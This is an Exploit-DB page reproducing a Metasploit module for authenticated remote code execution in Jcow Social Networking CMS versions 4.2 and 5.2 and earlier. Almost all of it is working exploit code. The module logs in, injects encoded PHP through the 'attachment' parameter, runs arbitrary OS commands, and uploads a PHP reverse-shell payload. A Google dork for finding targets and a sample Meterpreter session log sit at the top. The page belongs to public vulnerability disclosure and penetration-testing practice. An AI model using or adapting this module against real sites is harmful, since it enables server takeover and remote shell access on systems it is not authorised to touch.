Jcow Social Networking Script 4.2 < 5.2 - Arbitrary Code Execution (Metasploit)

  • 作者: Aung Khant
    日期: 2011-08-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17722/
  • # Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution
    # Google Dork: "intext: Powered by Jcow"
    # Date: 2011-08-26
    # Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group>
    # Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
    # Version: 4.x:4.2 <= , 5.x: 5.2 <=
    # Tested on: FreeBSD
    # Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution
    
    #[*] Started reverse handler on 1.2.3.4:4444
    #[*] Trying to login as hax0r
    #[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
    #[*] Trying to pwn a shell
    #[*] Uploading the payload: /files/h3x00rr.php
    #[*] Uploaded successfully
    #[*] Getting the shell
    #[*] Sending stage (38553 bytes) to 5.6.7.8
    #[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
    #
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'JCow CMS Remote Command 
    Execution',
    			'Description'=> %q{
    					This module exploits a vulnerability in the JCow Social Networking CMS.
    					In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
    					authenticated members can trigger php code execution via
    					"attachment" parameter.
    			},
    			'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 1 $',
    			'References' =>
    				[
    					[ 'URL', 'http://www.jcow.net/' ],
    					[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'BadChars'=> "\#",
    					'Space' => 4000,
    					'Compat'=>{'ConnectionType' => 'find'},
    					'Keys' => ['php']			
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Aug 26 2011',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('URI', [true, "JCow directory path", "/"]),
    				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
    				OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
    				OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
    				OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
    				OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
    				OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
    			], self.class)
    	end
    
    	def check
    		uri = ''
    		uri << datastore['URI']
    		uri << '/' if uri[-1,1] != '/'
    		res = send_request_raw(
    			{
    				'uri' => uri
    			}, 25)
    
    		if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
    				ver = $1
    				print_status("Target Jcow version is #{ver}")
    
    				vers = ver.split('.').map { |v| v.to_i }
    
    				if (vers[0] == 5) and (vers[1] < 3)
    					return Exploit::CheckCode::Vulnerable 
    				elsif (vers[0] == 4) and (vers[1] < 3)
    					return Exploit::CheckCode::Vulnerable 			
    				elsif (vers[0] < 4) 
    						return Exploit::CheckCode::Vulnerable 			
    				else
    					return Exploit::CheckCode::Safe
    				end
    		end
    		print_error("Unable to determine exploitability. Go 
    Exploiting.")
    	end
    	
    	def exploit
    		
    		uri_base= ''
    		uri_base << datastore['URI']
    		uri_base << '/' if uri_base[-1,1] != '/'
    
    	
    		cookie = datastore['COOKIE']		
    		if (cookie == nil)
    			print_status("Trying to login as 
    #{datastore['USERNAME']}")
    			cookie = get_login_cookie(uri_base)
    			if (not cookie)
    				raise RuntimeError, 'Unable to login!'
    			end
    			print_status("Logged in successfully (cookie: 
    #{cookie})")
    		else
    			print_status("Using authenticated cookie:
    #{cookie}")
    		end
    		
    		if (datastore['PHP'])
    			print_status("Executing PHP Code: 
    #{datastore['PHP']}")
    			run_code(uri_base,cookie,datastore['PHP'])
    		end
    		
    		if (datastore['CMD'])
    			print_status("Executing CMD: 
    #{datastore['CMD']}")
    			run_code(uri_base,cookie, datastore['CMD'],'os')
    		end
    		
    		if (datastore['SHELL'])
    			print_status("Trying to pwn a shell")
    			get_reverse_shell(uri_base,cookie)
    		end
    
    	end
    
    
    	def get_login_cookie(uri_base)
    
    		cookie = nil
    
    		res = send_request_cgi(
    			{
    				'method'=> 'POST',
    				'uri' => uri_base +
    '?p=member/loginpost',
    				'vars_post' =>
    					{
    						'username' => 
    datastore['USERNAME'],
    						'password' => 
    datastore['PASSWORD']
    					}
    			})
    		if (not res or res.code != 302)
    			print_error("Failed to login")
    			if (res.body =~ /<script type="text\/javascript" 
    src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
    				print_error("Recaptcha 
    Enabled\r\nProvide Authenticated Cookie")
    			end
    			return nil
    		end
    
    if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)			
    cookie = $1
    		else
    			print_error("Unable to get authenticated 
    cookie")
    			return
    end
    
    cookie
    	end
    
    	def run_code(uri_base, cookie, code, mode='php')
    
    		
    		cmd = nil
    		
    		if mode != 'php'
    			cmd = 'error_reporting(0);print+`' << 
    Rex::Text.to_hex("#{code}",prefix = "%") << '`'
    		else
    			cmd = 'error_reporting(0);eval(' <<
    code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
    		end
    		
    		
    		data = 
    "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
    		res = send_request_cgi(
    			{
    				'method'=> 'POST',
    				'uri' => uri_base + 
    '?p=streampublish',
    				'data' 		=> data , 
    				
    				'headers' =>
    					{
    							 
    							'Cookie' => 
    "PHPSESSID=#{cookie}"
    							
    					},
    			})	
    		if (res)
    			if (res.body.to_s.length > 0)		
    				is_session_expired(res.body.to_s)	
    				print_status("#{mode.upcase} Command 
    Output from the server:")
    				print("\n" + res.body.to_s + "\n\n")
    			else
    				print_error("No data returned from the 
    server")
    			end
    		else
    			print_error("Connection Timeout from the 
    server")
    		end
    		
    	end
    	
    	def is_session_expired(pg)
    		if (pg =~ /please login first/)
    			raise RuntimeError, "Your Login has expired"
    		end
    	end
    	
    	def get_reverse_shell(uri_base,cookie)
    	
    		cmd_php = '<?php ' << payload.encoded << ' ?>'
    
    		shell_file ='files/' + rand_text_alphanumeric(6) << '.php'
    		
    		shell_url = uri_base + shell_file
    		
    		print_status("Uploading the payload: " << shell_url )
    		
    		encoded_shell_file = shell_file.unpack("C*").collect{|x| 
    "chr(#{x})"}.join('.')
    		
    		encoded_payload = payload.encoded
    
    		cmd = "file_put_contents(#{encoded_shell_file}, 
    $_SERVER['HTTP_X_CMD'])"
    
    		data = 
    "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
    		res = send_request_cgi(
    			{
    				'method'=> 'POST',
    				'uri' => uri_base +
    '?p=streampublish',
    				'data' 		=> data , 
    				
    				'headers' =>
    					{
    							'X-CMD' => 
    cmd_php,
    							
    							'Cookie' => 
    "PHPSESSID=#{cookie}"
    							
    					},
    			})	
    
    		if (res)
    			if (res.code.to_i > 200)
    				print_error("Fail to upload : 
    #{res.code} #{res.body[0,500].inspect}...")
    				return
    			elsif (res.code == 200)	
    				is_session_expired(res.body.to_s)	
    			end			
    		end		
    		
    		
    		print_status("Uploaded successfully")
    		print_status("Getting the shell")
    
    		res = send_request_raw(
    					{
    					'global' => true,
    						'uri'=> uri_base + shell_file
    						
    					})
    							
    
    		handler
    	
    	end
    
    end